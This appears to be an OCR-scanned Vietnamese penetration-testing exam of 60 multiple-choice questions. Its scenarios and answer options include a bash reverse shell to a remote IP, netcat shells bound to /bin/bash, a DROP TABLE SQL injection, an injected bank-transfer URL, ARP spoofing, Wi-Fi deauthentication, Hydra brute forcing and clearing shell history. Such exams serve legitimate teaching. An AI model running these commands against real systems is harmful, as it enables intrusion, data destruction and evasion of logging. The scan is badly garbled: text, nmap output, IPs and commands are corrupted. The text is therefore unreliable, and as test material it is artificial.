HQC VIEN KTMM PE THI MAU BE CONG BO
PHONG KT&DBCLDPT Mbn thi: KIEM THU VA DANH GIA AN TOAN HTTT

OF THI CHINH THUTC Thoi gian lam bai: 60 phit, khong ké thoi gian phdt dé

(Dé thi cé 14 trang)

Ho, tén thisinh: ...................c..ooooiiiii, U
SO DAO dANN: ... M de thi 146
Cau 1. Nguoi kiém thir c6 thé sir dung 1énh trong meterpreter dé xem dic quyén
cua phién lam viéc hién co.

A. getuid B. getinfo C. getsystem D. help

Céu 2. Trong qué trinh thuc hién kiém thtr tng dung Web, Tom phat hién ra tén nguoi dung
hop 18 ctia hé thong 1a userl.Sau d6, Tom nhap thong tin sau vao biéu mau sau vao cira so
xac thyuc cua ung dung:

MEMBER LOGIN

Username: userl)(&))

Password: meh

Login

Tom dang cb gang thuc hién tn cong nao trong sé cac tin cong dudi day?
A. URL tampering  B. XSS C. LDAP injection  D. Path traversal
Ciu 3. Matt 13 thanh vién ctia nhom kiém thir xAm nhdp va dang st dung bd cong cu do

nhom cua anh éiy phat trién. Anh ta dang thuc hién bé khoa mat khéu st dung moét doan
script co tén l1a password.sh. Script nay c6 kha nang dugc viét bang ngdn ngir nao?

A. Ruby B. PowerShell C. Python D. Bash

Cau 4. Mika thyc hién do quét mot hé théng béng cau I¢nh nmap nhu sau:

nmap —sU -sT —-p 1-65535 example.com

C6 4y s&8 KHONG nhan duoc thong tin ndo dudi day?
A. Thong tin dinh tuyén tir may Mika t6i example.com
B. Thong tin trang thai cac cong dich vu
C. Thong tin vé hé diéu hanh
D. Théng tin vé cac dich vy TCP, UDP
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Cﬁu‘ 5. Bpn dang thue hién kiém thtr tng dung va mudn thyc hién mot C}l@C tan cong chiém
quyén diéu khién DLL (DLL hijacking). Windows s€ thuc hi¢n tim kiém t¢p DLL tai thu
muc nao trude tién néu ndé khong duge cung cap vi tri cu thé cua tép DLL d6. Bap an nao
dudi day la chinh xac nhat?

A. Thu muc ma ing dung dang ¢ trén do

B. Thu muc hién thoi

C. Thu muc Windows

D. Thu muc hé théng Windows
Cau 6. Trong qua trinh kiNémvthfr, Tom phét hién ra 16 hong LF,I trén hé théng muc tiéu.
Thong qua vi¢c khai thac 16 hong, khi duyét cac tép PHP, Tom thay cac dong sau trong mot
ham xuat hién dé€ xu ly cac truy van co sé dir li€u:

define ('DB USERNAME', 'seth');

define ('DB_PASSWORD', 'GoCubs21!@');

Viéc tiét 16 thong tin nay 1a vi du vé diém yéu nao?

A. Chu thich trong mi ngudn B. Xt 1y 16i chi tiét

C. Tuong tranh diéu khién D. Thong tin dang nhap dugc hard-code
Cau 7. Charleen duoc giao nhiém vu tiép tuc qqué trinh khai‘ thac 16 hong trén hé thong ma:ly
chi Windows 201#Céc, thong tin dugc chuy’én giao bao gém‘ ca thong tin dang n,hép cap
nguoi dung trong hé thong. Muc tiéu cua co ﬁy’ 1a c6 dugc qlgyén quan tri vao hé thong may
chu. Charwleen da thu dugc NTLM hash va muon thyc hi¢n tan cong pass-the-hash. Cong cu
nao co thé dugc str dung trong truong hop nay?

A. CeWL B. Smbclient C. Hashcat D. Hydra

Cau 8. Sau khi xam nhap mot may chu tir xa c6 dia chi 102.15.8.13, Cameron thuc hién cau
1énh sau trén may chu tu xa:

nc —lvp 4444 -e /bin/bash

Trong truong hQ‘p’Cameron mudn tao bind shell, 1énh nao sau day can duoc thuc hién trén
may tinh cta anh ay?

A.nc 102.15.8.13 4444 B. nc —lvp 4444 102.15.8.13

C. nc —e /bin/bash —lvp 4444 D. nc 102.15.8.13 —e /bin/bash
Cau 9. Khi thuc hién l§iém thir cho cong ty X, Jack thyc hién xadm nhédp thanh cong va chay
cau 1énh sau trén h¢ thong muc tiéu:

bash -i> & /dev/tcp/10.2.4.6/443 0> & 1

Sau cau I¢énh trén, 1énh nao dudi day s€ can duge thuc thi trén may tinh cua Jack dé thuc
hién tao bind shell?

A. nc -nlvp 443 B. nc -e /bin/sh 10.2.4.6 443

C.nc 10.2.4.6 443 D. nc -w3 10.2.4.6 443
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Cau 10. Trong qué,t trinh kiém thir 1'r~ng fiung web,’ Jack phat hién ra mot sb 16 hong nghiém
trong. Anh ay muon loi dung céc 10 hong nay dé tao moét tai khoan trai phép. Nhitng tan
cong nao dudi day co thé dugc lién két véi nhau dé dan dén viée tao thanh cong tai khoan
cua Jack?

A. CSRF, Insecure direct object reference

B. CSRF, Code injection

C. Insecure direct object reference, Code injection

D. Code injection, Directory traversal

Céu 11. K§ thuat do quét cong nio duoc sir dung (mg v6i hinh minh hoa dudi day?

SYN+PORT
| e =]
/ﬁ\ /@\
CLIENT RST SERVER

A. Full Open Scan B. Half Open Scan

C. XMAS Scan D. Inverse TCP Flag Scan
Céau 12. Tiéu chuan dugc phat trién nham myc dich gia ting kiém soat d6i voi
dit liéu chu thé va han ché su gian lan, trom cép dir li€u thé thanh toan.

A. PCIDSS B. Penetration Testing Framework

C. OSSTMM D. PTES

Ciu 13. Trong qua trinh kiém thtr mang khong dy, Tom thyc hién cdu 1énh nhu hinh
dudi day.

root@xali:/tmp# airbase-ng -a 12:34:56:78:90:AB - -essid Home
-c 6 wlan@mon

00:00:29 Created tap interface at®

00:00:29 Trying to set MTU on at® to 1500

00:00:29 Trying to set MTU on wlan®mon to 1860
00:00:30 Access Point with BSSID 12:34:56:78:990:AB started.

Muc dich cia Tom trong trudng hop nay la gi?

A. Thu thap vecto khéi tao tir AP dé tién hanh bé khoa truy cip mang khong day

B. B¢ khoa PSK duoc sir dung dé két ndi voi diém truy cap khong day

C. Chén géi tin ARP dé sinh vecto khdi tao (initialization vector)

D. Thyc hién gid mao SSID cua mang dé thiét lap Evil twin network
C,ﬁu 14: Cong cu phd bién nao duoc st dung dé kham pha bi dong mang khong day va cung
cap nhi€u tinh nang tuong tu nhu airodump-ng?

A. Netsniff B. Aircrack-ng

C. Kismet D. NetStumbler
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Cau 15. Sau khivxéc dinh duo’g cc} 16 hong SQL injection trén hé théng muyc tiéu, m(f)t‘ théll’}h
vién ¢6 nhoém ki€ém thir dang c¢6 gang chén mot ban ghi doc hai vao CSDL MySQL nham lay
cap cookie tur trinh duyét web cua nguoi dung. Tuy nhién cau I¢nh INSERT khong hoat
dong. Dua vao cu phép sau, nguyén nhan co6 thé gay ra 161 la gi?
INSERT into app.data (header, body, message, webForm) VALUES ("HACK",
404, "HACK");

A. Khong c6 16i trong cau 1énh INSERT

B. Cau Iénh INSERT thiéu gi4 tri cho ¢t thi tu va né khong duge phép NULL

C. Mot trong s6 gia tri cac trudng vuot qua gidi han kich thudce

D. Gia trj cot thir hai bi thiéu ddu ngoic kép
Ciu 16. Viéc v& cac biéu tuong & nhitng noi cong cong dé thong bio, quang cdo mot mang
Wi-Fi (nhu vi dy dudi day) duoc goi la

X| o6 €| ¢

Free Wi-Fi Secure Wi-Fi Wi-Fi with Paid Wi-Fi
MAC Filter
WiR with Wi-Fi with Wi-Fi with Wi-Fi
WEP Multiple Closed 5510 Honeypot
Access Control
A. Warchalking B. Warwalking
C. Warflying D. Wardriving
Cau 17. Persistent XSS con duoc biét dén véi tén £01 nao?
A. NULL XSS B. Reflected XSS
C. Stored XSS D. DOM XSS

Ciu 18. Mot t6 chuc dang xac dinh pham vi cta viée kiém thu Xém nhap va mudn thuc hién
ca tr bén ngoai va bén trong mang. Ho san sang chia sé mot s6 thong tin véi nha cung cap
dich vy, nhitng ngudi s& tién hanh kiém thir nhung ciing mudn xem nha cung cap c6 thé tu
kham pha bao nhiéu thong tin trong mot khoang thdi gian nhat dinh. Loai hinh kiém thtr ndo
dudi day s& phu hop nhat véi yéu cau cia to chirc nay?

A. Gray box B. Black box

C. White box D. Green box
Cau 19. __1a qué trinh thu thap thong tin khi tién hanh thyc hién kiém thir xAm
nhap, trong dé co6 thé ap dung cac k¥ thuat thu thap chi dong hodc bi dong.

A. Footprinting B. Footscanning

C. Footgathering D. Footpainting
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Cau 20. Tom dang thyc hién kiérp thf{ cho mot cong ty va anh 4y lo ngai rang Web server
daqng khong chay ban cip nhat phan nllém mai nhat. Cau Iénh ndo dudi day c6 thé gitip Tom
kiém tra dugc nhiing lo ngai cia anh ay?

A. hping3 —S —p80 targetwebsite.com

B. nc —v —p 80 targetwebsite.com

C. nslookup —port—80 targetwebsite.com

D. nmap —p 80 —sV targetwebsite.com

Cau 21. la mot bo cong cu dugc sir dung dé kiém tht xam nhap mang khong
day Wifi.

A. aireplay-ng B. airmon-ng

C. airman-ng D. aircrack-ng

Cau 22. Peter dang thyc hi¢n kiém thir trang web muc tiéu. Hién tai, anh éy dang xem mot
s6 thong tin tai URL:

http://www.vulweb.com/store.php?id=2

Tiép theo, anh éy thuc hién nhap vao URL sau:

http://www.vulweb.com/store.php?id=2 and 1=1

thi trang web van tai binh thuong. Tuy nhién khi Peter nhap vao URL:

http://www.vulweb.com/store.php?id=2 and 1=2

tpi c6 mot trang thong bao “An error has occurred” xuat hién. LS hong SQL injection nio
ton tai trong truong hop nay?

A. Blind SQLi B. Union-based SQLi

C. Error-based SQLi D. Out-of-band SQLi
Cau 23. Cong cu ‘néo dué6i day cho phép thu thap théng tin co ban vé mot Domain nhu dja
chi IP, thong tin vé OS, Webserver, cong ngh¢ dugc st dung...mdt cach nhanh chéng?

A. https://archive.org/index.php B. https://www.shodan.io/

C. https://www.whois.com/ D. https://www.netcraft.com/

Ciu 24. LSA Secrets duoc luu trir & dau trén hé thong Windows?
A. Registry
B. Thu muc System32
C. Thu muc $System
D. LSA Secrets chi dugc Iuu trir trén may chu Active Directory

Cau 25. Pé tham khé}o va st dung cac Google dork c6 san cho muc dich thu thap thong tin,
nguoi ki€m thir co6 thé s dung trang web nao dudi day?

A. https://nvd.nist.gov/ B. https://osintframework.com/

C. https://www.exploit-db.com D. https://attack.mitre.org/
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Ciu 26. Jim sir dung nmap dé do quét hé thong va thu dugc két qua sau:

~am vanorE far 101 9 1
Ydp SCall Ieporc Lor 1v.l.&.3
- -~ Py i NANGY = o w y
Host 1s up (0.00091s latency
N b - 100 cad ok
Not shown: 189 closed ports
PORT STATE SERVICE
Ay &=~ ey £
&Ll CCP OpPer LLP
A9 = e, =
Li[LCD open ssh
L e B oparn rFo H‘:.t
<23 LCD Pl LELIIC
A T s e
i’.?_ «.\.FID G.;.E"' :..-_D
AR L .
s3/CCP Open aomaln
- -+
an /e e wer B
Y il Gu-\'_.'a.; i b e i
111 fE o~ T
111/CCD Open Ipcblna
k k k
19/ AT T B
L33/CCp Opel eCblos-ss5n
445/tcp open microsoft-ds
ANAG - —_— =
cUs¥/LChD Op2ll OIS
TINE / Frrm T -
JIUD/LCD open gl
T el e = i b | E E.ha o [ | rae [« Pr— . T
MAC Address Ug:0U0:z27r:1 a:lbi:BE (Uracle V1rtualBoX vVirtual NIC
2:d Aars FXlae Frrs e P Al v T
Read data files from: fusr/bin/../share/nmap
£ W dome at Sat Mav 12 08-10:04 2018 -- 1 IP address (1 host unl scarnad
# Nmap done at Sat May 12 08:10:0 4 zUl8 1 1lF aqaqaress (1 NOSC Up) scanned
N L sasmsamts
in 80.66 seconds

Jim mudn thu thap thém cac thong tin vé dich vu dang hoat dong trén cong 330#Tuy chon
nao sau day nén dugc st dung?

A. —script=http-enum
B. —info3306

C. —script=mysql-info
D. —sT

Ciu 27. Trong qua trinh thuc hién kiém thir hé thong, Peter can stir dung SSH dé thiét lap
két ndi dong vai trd nhu mot proxy 16p ung dung. Gia st IP cta Peter 1a 10.1.2.2 va IP cia
hé théng duoc kiém thir 13 10.1.2.3. Cau 1énh nao sau day can duoc st dung?

A. [ssh 10.1.2.2 -R 8800:127.0.0.1:8080

B. |ssh 1U0.1.2.2 =L B88U0:10.1.2.2:80

C.| ssh root@10.1.2.3

D.| ssh -D 8888 root@l10.1.2.3
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Cau 28. Sau khi chiém dugc quyén quan tri trén may tinh muc ti€u, Cameron thuc hién cau
Iénh sau:

Scommand = 'cmd /c powershell.exe -c Set-WSManQuickConfig
-Force;Set-Item WSMan:\localhost\Service\Auth\Basic -Value
$True;Set-Item
WSMan:\localhost\Service\AllowUnencrypted
-Value $True;Register-PSSessionConfiguration —Name
Microsoft.PowerShell

-Force

Anh ay di lam duoc viée gi?
A. Thiét 1ap WSMan.
B. Bat PowerShell cho nguoi dung cuc bd.
C. V6 hiéu héa quyén truy cap dong 1énh tir xa.
D. Thiét 1ap PSRemoting.

Ciu 29. Trong qué trinh thuc hién kiém thi, Peter st dung theHarvester dé tién hanh thu
thap thong tin thu dong nhu dia chi email, hosts va tén mién. Tuy chon nao duéi day cua
theHarvester cho phép Peter sir dung co s& dit liéu SHODAN dé truy van thong tin cong va
dich vu cho timg host ma anh 4y da thu thap?

A.-b B.-h

C.d D.—n
Cau 30. !2‘1 m‘(f)t ung dung Java Qa ludng duoc thiét ké voi muc dich tim kiém cac
tép va cac thu muyc an bang cach str dung tan cong vét can.

A. Nikto B. Gobuster

C. Wfuzz D. DirBuster

Cau 31. Peter muén thyc hién tin cong MiTM dé kiém thir trén hé théng muc tiéu. Ciu
hinh mang mdy tinh dugc dua ra dudi day:

1B 192 .168.1.20

NETMASK: 255.255.255.0

DEFAULT GATEWAY: 192.168.1.254
DRCE: 1582.1688. 1293

PHE: 1592.168.10:10,; 192.168.20.10

Peter can thuc hién 1énh nao sau day dé thuc hién tan cong MiTM?
A. arpspoof -t 192.168.1.20 192.168.1.254
B. arpspoof -c both -t 192.168.1.20 192.168.1.253
C. arpspoof -¢ both -r -t 192.168.1.1 192.168.1.20
D. arpspoof -r -t 192.168.1.253 192.168.1.20
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Cau 32. Tom dang thuc hjén kiém thu wgeb server cho mot cong ty. H@én tai, anh éy can
thuc hién do tim dudng dan va thu muc an trén phia server dya trén tan cong tur dién sur
dung Gobuster. Ngoai ra, qua trinh do quét can phai dugc cau hinh dé t61 vu hoa tée do thuc
hién. Lénh nao dudi day dap trng dugc cac yéu cau nay?

A. gobuster dir —host <http://demo.testapp.net/> —w directory-list-2.3-medium.txt

B. gobuster dir —host <http://demo.testapp.net/> —w directory-list-2.3-medium.txt —t 70

C. gobuster dir --url <http://demo.testapp.net/> —w directory-list-2.3-medium.txt —t 70

D. gobuster dir --url <http://demo.testapp.net/> —w directory-list-2.3-medium.txt —t 10

Céu 33. Giai doan cudi cung trong mé hinh Cyber Kill Chain 1 gi?
A. Command and Control
B. Installation
C. Actions on Objectives

D. Weaponization

Céu 34. Trong qua trinh thyc hién kiém thtr tng dung web cho ngan hang, Joe phat hién ra
16 hong cuc ky nghiém trong. Tiép theo, Joe co ¥ dinh tao ra mot URL thuc hién chuyén tién
mot cach kin ddo tir tai khoan nan nhan sang tai khoan ctia minh dé phuc vu muc dich kiém
thir. Anh ta c6 thé sir dung URL ndo sau day dé thuc hién cudc tin cong nay?
A. https://testbank.com/BankingApp/ACH.aspx?
CustID=435345&accountType=F &action-
ACHTransfer&senderID=654846&notify=True&creditaccount=AND 1=1 AND select
username from testbank.custinfo where username like Joe -&amount=200

B. https://testbank.com/Banking App/ACH.aspx?
CustID=435345&accountType=F &action-
ACHTransfer&sender]D=654846&notify=False&creditaccount=OR 1=1 AND select
username from testbank.custinfo where username like Joe &amount=200.

C. https://testbank.com/BankingApp/ACH.aspx?
CustID=435345&accountType=F&action-
ACHTransfer&senderID=654846&notify=True&creditaccount=OR 1=1 AND select

username from testbank.custinfo where username like Joe -&amount=200

D. https://testbank.com/BankingApp/ACH.aspx?
CustID=435345&accountType=F &action-
ACHTransfer&senderID=654846&notify=False&creditaccount=OR 1=1 AND select
username from testbank.custinfo where username like Joe-&amount=200

Trang 8/14 — Ma dé thi 146


javascript:viewOriginalQuestion(37222);
javascript:viewOriginalQuestion(36545);
javascript:viewOriginalQuestion(37224);

Ciu 35. Trong qua trinh kiém thtr mang khong diy, Tom thuc hién cdu lénh nhu hinh
dudi day.
P

Fla Edit wview Terminal Tabs Help

|root@kali - ~# -r'|1lt\r.|'|.-'!'|.' nag 2 e a l12:34:56:78:980: AB ¢ FE:DC:BA:89:-87:6% wlang
|02:42:30 Waiting for beacon frame (BSSID: AP:40:A0:BD:8C:6E) on channel 4

|182:42:31 Sending 64 directed DeAuth (code 7). STMAC: [FE:DC:BA:89:87:65]
|8e2:42:31 Sending 64 directed DeAuth {(code 7). STMAC: [FE:DC:BA:89:87:65]
|B2:-42:31 sending 64 directed DeAuth {(code T) STHAC: [FE:DC:BA:89:87:651]
|82:-42:31 Sending 64 directed DeAuth (code 7). STMAC: [FE:DC:BA:89:87:651]
82:42:31 Sending 64 directed DefAuth {(code 7). STMAC: [FE:DC:BA:89:B7:65]
|182:42:31 Sending 64 directed DelAuth {(code T) STMAC: [FE:DC:BA:89:87:651]
|1B2:42:31 Sending 64 directed DeAuth {(code F). STMAC: [FE:DC:BA:89:87:65]
82:42:31 Sending 64 directed Defuth {(code 7). STMAC: [FE:DC:BA:989:B7:65]
|82:-42:31 Sending 64 directed DeAuth {(code 7). STMAC: [FE:DC:BA:89:B7:65]

,__,,_,,_,,__,,_,,__,,_,,__,_,,_,__,,_,,__,,_,

|182:42:31 Sending 64 directed DeAuth {(code 7). STMAC: [FE:DC:BA:89:87:65] al 9
|182:42:31 Sending 64 directed Defuth (code 7). STMAC: [FE:DC:BA:89:87:651] ]
8z2:42:31 Sending 64 directed DefAuth {(code 7). STMAC: [FE:DC:BA:99:B7:65] ajll
|82:42:31 S5ending 64 directed DeAuth {(code 7) STMAC: [FE:DC:BA:89:87:651 a1z
B2:42:31 Sending 64 directed DeAuth {(code 7). STMAC: [FE:DC:BA:89:87:65] 8|13
|62:42:31 Sending 64 directed Defuth {(code 7). STMAC: [FE:DC:BA:99:8B7:65] a)l4
B82:-42:31 Sending 64 directed DeAuth {(code T) STMAC: [FE:DC:BA:89:87:65] 8|15
|192:42:31 Sending 64 directed DeAuth (code 7). STMAC: [FE:DC:BA:989:87:651 2|16
|182:42:31 Sending 64 directed DefAuth {(code 7). STMAC: [FE:DC:BA:989:87:65] 8|17
B2:42:31 Sending 64 directed DeAuth {(code 7). STMAC: [FE:DC:BA:89:B7:65] a|lsa
|82:-42:31 Sending 64 directed DeAuth (code T) STMAC: [FE:DC:BA:89:87:651] 2]19 -

Muc dich cta Tom trong truong hop nay la gi?

A. Khoi phuc mat khau WPA tir WPS PIN

B. Thuc hiér} tér} cong tur chdi dich vu bﬁng cach gui deauthentication frame td1 cac thiét

bi dang két nd1 trong mang khong day

C. Thiét 1ap proxy dé thuc hién tdn céng SSL strip 1én cac yéu cau HTTPS

D. Thu thap thong tin vé qua trinh bt tay 4 budc trong mang khong day
Cau 36. : thudng nhim vao co so dir li@u quan hé va co6 thé duoc stir dung dé ti‘ét
10, thay do6i hodc pha hﬁy di liéu; vuot qua hé thong xéc thuc hodc tham chi c6 dugc quyén
truy cap trinh mirc h¢ thong voi cac dieu kién phu hop.

A. Code injection B. HTML injection

C. SQL injection D. Parameter pollution
Cau 37. A}an dang tao rpc}t flanh sach cac khuyén nghi ma t(’z)thl:l'C ctia anh ay c6 thé tuan
theo dé khac phuc cac van (’;Ié dugc xac dinh trong qua trinh ki€ém thir xam nhap. Pay la giai
doan nao trong quy trinh kiém thir xdm nhap?

A. T4n cong va khai thac

B. Lap ké hoach va xac dinh pham vi

C. Béo cao két qua

D. Thu thap thong tin, xac dinh 15 hong bao mat
Cau 38. 1a kho luu triv d?r liéu quan 1y 16 héng bao mat dya trén tiéu chuan cua
chinh phii Hoa Ky dugc trinh bay bang SCAP. Dit li¢u nay cho phép tu dong hoa viée quan
Iy & do Iuong 16 hong bdo mat, dadm bao tuan thu.

A. OWASP B. CWE

C.NVD D. ATT&CK
Cau 39. Jim dang chuan bj tién hanh kiém thir API cho (mg dung web clia mot ngan hang.
Cong cu nao sau day co6 kha nang thyc hi¢n vi¢c nay?

A. Swagger B. Nikto C. W3af D. WAR

Trang 9/14 — Ma dé thi 146


javascript:viewOriginalQuestion(37238);
javascript:viewOriginalQuestion(37144);
javascript:viewOriginalQuestion(36549);
javascript:viewOriginalQuestion(36519);
javascript:viewOriginalQuestion(37201);

Cau 40. w 13 hinh thirc tin cépg bépg rpét khau duogc xay dung ,dl_Ia ~‘[1rén cudc tan
cong tur dién nhung thémocéc thanh phép ph,f) bién hon nhu 1 hoaflcv ! & cudi moi tu. Phuong
phap nay dugc sir dung dé tim nhirng di€u bat thudong trong mat khau.

A. Non-electronic attack

B. Hybrid attack

C. Rule based-attack

D. Brute force attack
Ciu 41. Sau khi chuyén adapter khong day sang Monitor’mode, Peter can iy thong }in tat
ca 1u"u luong mang ma adapter khong day c6 thé nhin thdy. Lénh nao sau day co thé giup
anh ay thuc hién vi¢c nay?

A. aireplay-ng -0 100 -a 08:86:32:71:11:76 -c 11 mon0

B. airodump-ng --bssid 08:86:32:71:11:76 -c 11 --write WPAcrack mon0Q

C. airodump-ng mon0

D. airodump-ng --bssid 08:86:32:71:11:76 -¢ 11 mon0 --write WPAcrack
Cz‘}u 42. Khi thyc hiéq tim kiém thong tin sir dung Ggogle, 1énh nao dudi day cho phép tim
kiém céc website co cau trac thu myc 1a /admin c6 phan mé rong 1a .edu.vn

A. site:edu.vn inurl:/admin B. index of /admin link:edu.vn

C. index of /admin site:edu.vn D. info:/admin filetype:edu.vn
Cau 43. Sau khi xam nhap thanh céng vao hé théng muc tiéu va tién hanh cai dit backdoor,
1énh nao sau day cho phép nguodi ki€ém thir x6a toan by ndéi dung ctia phién lam viéc véi
terminal trén Linux?

A. cat history I clear B. history —remove

C. rm — f ./history D. history — ¢
Cs?‘lu 44. Trong quzi’trinh do quét nmap, Casey str dung co —O dé x‘éc din}} thong tin vé& hé
di€u hanh cta hé thong. Qua trinh do quét xac dinh dugc thong tin vé hé thong nhu sau:

Running: Linux 2.6.X
OS CPE: cpe: /o: linux:linux kernel: 2.6
0S5 details: Linux 2.6.9 ~— 2:6.33

Casey c6 thé xac dinh diéu gi tir nhirng thong tin nay?

A. Xac <;Iinh thong tin vé ban phan phdi Linux (Linux distribution) dugc cai dat trén

hé thong.

B. Thong tin vé cac ban vé cia Linux kernel da duoc cai dat.

C. Ngay hé théng duge vé lan cudi.

D. Hé théng dang chay Linux 2.6 kernel trong khoang giita .9 va .33
Cau 45. Trong khi str dung Shodan, nhom kiém thir dang tim kiém cac cong va dicI} vu cho
may chu Vyeb cong khai sir dung HTTP. Tuy chon nao sau day nén dugc str dung dé lam bo
loc tim ki€ém trong truong hop nay?

A. HTTPS port:443  B. HTTP port:80 C. HTTP port:88 D. HTTP port:23
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Cau 46. Khi thuc hién kié~m thir, Peter phat hién ra c6 kha nang thyc hi¢n tan cong SQL
injection. Khi str dung chuoi 1énh tiém sau:
SELECT * FROM Orders Pend WHERE Location_City = 'NY'
anh 4y c6 thé xem tat ca cac don dit hang dang cho xur Iy tir NY. Néu Peter mubn x6a hoan
toan bang Order Pend thi cau 1énh SQL nao nén dugc su dung?
A. SELECT * FROM Orders Pend WHERE Location City = NY';DROP TABLE
Orders_Pend --

B. WHERE Location City = NY'l = 1': DROP_TABLE --

C. DROP TABLE Orders Pend WHERE ' NY =1' --

D. SELECT * FROM Orders Pend WHERE ' NY ';DROP_TABLE --
Céu 47. Sau khi thyc hién xam nhdp vao he thdng muc tiéu bang mot tai khoan khong co
ddc quyén, Stevq phat hién ra rang trén h¢ thong muc ti€u co6 cai dat nmap. Steve ‘quyét dinh
sur dung nmap dé do quét cac may chu khac trong mang ndi bo. TI‘JY chon nao can duogc sur
dung dé‘ do quét thanh cfmg cac may chu khéc khi stt dung nmap bang tai khoan khong cé
dac quyén ma Steve chiém dugc?

A.—u B. - 0A

C.—sT D.-sV
Ciu 48. Trong qua trinh kiém thir mang khong day, Tom c6 thu duge 1 s6 luong 16n céc goi
tin handshake. Lénh n:c‘lo dudi day cho phép bé khda PSK dua trén géi tin handshake thu
dugc st dung tap tur dién cho trudc?

A. aircrack-ng -w rockyou.txt —b <target MAC> <outfile>

B. airmon-ng -w rockyou.txt —b <target MAC> <outfile>

C. hashcat —m 2500 WPA .hccapx rockyou.txt

D. airodump-ng -c 1 --bssid E4:6F:13:04:CE:31 -w rockyou.txt
Cau 49. Norm dang thyc hién k,iém thir xdm nhap mot ung dung web va muén diéu khién
cac tham s6 dau Vf‘iO dugc g1 dén img dung trudce khi nod roi khoi trinh duyét web. Cong cu
nao sau day co thé giip Norm thuc hi¢n viéc nay?

A. Burpsuite B. AFL

C.GDB D. YASCA
Cau 50. Trong qua ‘trinh kiém thir mang khépg d:21y, Tom Qﬁn thu th@p khung nao dé thu
duoc cac thong tin vé SSID, BSSID, kénh truyén, toc do truyén dugc ho tro?

A. Association request frame B. Request to Send (RTS) frame

C. Authentication frame D. Beacon frame
Cau 51. Trqng qué’ trinh kiém tl}ﬁ: hé ‘Ehéng, Peter mudn st dung NSE script smb—os—
discovery dé tim kiém thong tin V‘é hé diéu hanh va luu céc thong tin d6 vao tap tin pentest-
result.txt. Cau I¢nh nao dudi day can dugc thuc hién?

A. nmap —v —p 139, 145 — —script=smb-os-discovery 10.11.1.227 —s pentest-result.txt

B. nmap —v —p 139, 145 — —script=smb-os-discovery 10.11.1.227 —oG pentest-result.txt

C. nmap —v —p 139, 145 smb-os-discovery 10.11.1.227 —oG pentest-result.txt

D. nmap — —script=smb-os-discovery 10.11.1.227 —o pentest-result.txt
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Cau 52. Trong khi di nghi, Joe nhan duogc thong tin tur c}ich vu canh bdo rang hai tai k,hoéln
cua anh ay da bi truy cap trong mdt gido qua. Trong budi sang trude do, anh ay da két nodi
may tinh xach tay véi diém phat song khong day tai McDonald’s va truy cép vao hai tai
khoan duogc dé cip. TAn cong nao nhiéu kha ning da dién ra?

A. Jamming signal

B. Honeyspot access point

C. Deauthentication attack

D. Unauthorized association

Céu 53. Trong qua trinh thuc hién kiém thtr, Joe thuc hién giri hang nghin yéu ciu dén mot
URL c6 ndi dung nhu vi du dudi day.

http://www.mycompany.com/servicestatus.php?servicelD=1
http://www.mycompany.com/servicestatus.php?serviceID=2
http://www.mycompany.com/servicestatus.php?serviceID=3
http://www.mycompany.com/servicestatus.php?servicelD=4
http://www.mycompany.com/servicestatus.php?servicelID=5

http://www.mycompany.com/servicestatus.php?servicelD=6

http://www.mycompany.com/servicestatus.php?servicelID=999

Joe dang ¢ gang thuc hién kiém thir 16 hong nao?
A. Session hijacking
B. Unvalidated redirect
C. File upload
D. Insecure direct object reference

Cau 54. C‘(A)ng cu dong 1énh nao d,u('wi day duogc sir dung t‘rén Linux cung cip thong tin vé& do
tré phan hoi va thong tin dinh tuyén cua goi tin IP tir ngudn dén dich?

A. nslookup B. traceroute

C. whois D. tracert

Céiu 55. Teddy thuc hién quét hé thong tir xa bang Nmap st dung 1énh sau:

nmap 149 .8%5.80.220

Néu sir dung 1énh mac dinh nhu trén, bao nhi¢u céng s€ dugc do quét?
A. 65535 B. 1000
C. 256 D. 1024
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Cau 56. Trong qua trinh kiém thir website myc tiéu, Tom sir dung Burp Suite dé thiét lap
proxy chan bat cac request gui lén phia server.

Request

JM-J Params IHuders TH:: ]

POST /dvwa/login.php HTTP/1.1

Host: 192.168.1.52

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml:q=0.9,%/%;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.52/dvwa/\login.php

Cookie: security=high; PHPSESSID=00d8b91b61526551de22f7b94fbcb623
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

username=bob&password=bob&Login=Login

Dua vao cac thong tin thu dugc tir Burp Suite, anh iy quyét dinh st dung Hydra dé tién
hanh bé khoa mat khau trang dang nhap bang tan cong vét can. Cau 1énh nao dudi day cho
phép thyc hién diéu nay?
A. hydra -1 admin -P dvwa_ wordlist 192.168.1.52 http-post-form
"/dvwa/login.php:user="USER"&pass="PASS*&Login=Login:Login failed" -V
B. hydra -1 admin -P dvwa_wordlist 192.168.1.52 http-get-form
"/dvwa/login.php:username="USER"&password="PASS*&Login=Login:Login
failed" -V
C. hydra -1 admin -p dvwa_ wordlist 192.168.1.52 http-post-form
"/dvwa/login.php:username="USER"&password="PASS"&Login=Login:Login
failed" -V
D. hydra -1 admin -P dvwa_ wordlist 192.168.1.52 http-post-form
"/dvwa/login.php:username="USER"&password="PASS*&Login=Login:Login
failed" -V
Cau 57. Trong qua trinh kiém thtr, Alice can xac dinh pham vi cta tat ca cac céng dich vu
UDP ¢6 thé chay trén hé thong. Lua chon nao duéi ddy 14 chinh xac?
A. 1-1024 B. 1-65535
C. 1-16383 D. 1-32767
Cau 58. Brian dang dit gia thiét rang hé thong cuia t6 chuc di bi tan cong. Anh ay dang dic
biét tim kiém cac du hiéu cho thdy cac may chu c6 thé da bi xdm nhap trong qua khir dé
chtng minh gia thiét cia minh 12 ding. Thuat ngit nao dudi ddy mé ta hoat dong cta Brian?
A. Vulnerability scanning B. Threat hunting
C. Penetration testing D. Software testing
Ciu 59. Grep-o-matic Cong cu nao dudi ddy KHONG dugc sir dung dé tin cong Brute
force trong qué trinh bé khoa mat khau?
A. John the Ripper = B. Hydra C. Hashcat D. Pwdump7
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Ciu 60. Mat khau nguoi dung dudi dang ma hoa ctia hé diéu hanh Linux duogc luu trit trong
tap tin nao dudi day?
A. /etc/sudoer B. /etc/passwd C. /etc/shadow D. /usr/passwd

B R —
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